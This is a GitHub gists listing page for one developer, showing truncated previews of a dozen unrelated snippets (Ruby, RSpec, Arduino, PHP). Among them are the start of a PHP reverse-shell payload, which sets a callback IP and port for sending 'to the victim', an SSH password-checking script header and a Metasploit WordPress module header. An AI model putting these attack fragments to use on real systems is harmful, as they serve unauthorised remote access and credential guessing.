Skip to content

Instantly share code, notes, and snippets.

@rastating
rastating / getsshpass_ipv6.sh
Created June 14, 2017 23:39
A modified version of the getsshpass.sh script which uses IPv6 instead of IPv4.
#!/bin/bash
#
# sshpass return values:
# 0 - password OK
# 3 - general runtime error
# 5 - bad password
# 255 - connection refused
declare -r START_TIME=$(date +%s.%N) # Start time of the program
@rastating
rastating / gist:4c6ae6116c86797fba304fc197365540
Last active April 25, 2019 10:12
Resolving SSL cert issues in Ruby gems such as HTTParty and Typhoeus

Why?

There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.

From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?

Installation

The Ruby Way! (Fun)

@rastating
rastating / rspec_model_testing_template.rb
Created March 9, 2016 13:51 — forked from SabretWoW/rspec_model_testing_template.rb
Rails Rspec model testing skeleton & cheat sheet using rspec-rails, shoulda-matchers, shoulda-callbacks, and factory_girl_rails. Pretty much a brain dump of examples of what you can (should?) test in a model. Pick & choose what you like, and please let me know if there are any errors or new/changed features out there. Reddit comment thread: http…
# This is a skeleton for testing models including examples of validations, callbacks,
# scopes, instance & class methods, associations, and more.
# Pick and choose what you want, as all models don't NEED to be tested at this depth.
#
# I'm always eager to hear new tips & suggestions as I'm still new to testing,
# so if you have any, please share!
#
# @kyletcarlson
#
# This skeleton also assumes you're using the following gems:

Keybase proof

I hereby claim:

  • I am rastating on github.
  • I am rastating (https://keybase.io/rastating) on keybase.
  • I have a public key whose fingerprint is 2638 6FDF 3A96 64F6 6D07 F200 858C 07BC BD4F 9010

To claim this, I am signing this object:

import requests
url = 'http://static.rastating.com/msf/export.php'
r = requests.get(url)
print r.text
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'csv'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
@rastating
rastating / gist:17347e00d4b434f50a81
Created February 15, 2015 01:08
Troublesome headers
header("Content-type: text/x-csv"); # DECLARING FILE TYPE
header("Content-Transfer-Encoding: binary");
header("Content-Disposition: attachment; filename=" . $csv_file_name); # EXPORT GENERATED CSV FILE
header("Pragma: no-cache");
header("Expires: 0");
print($CSV_FILE_CONTENT);
const int redPin = 11;
const int greenPin = 10;
const int bluePin = 9;
void setup() {
// Start off with the LED off.
setColourRgb(0,0,0);
}
void loop() {
<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '192.168.1.189';
$port = 4444;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
<?php
function convert_id($id)
{
if (strlen($id) === 17)
{
$converted = substr($id, 3) - 61197960265728;
}
else
{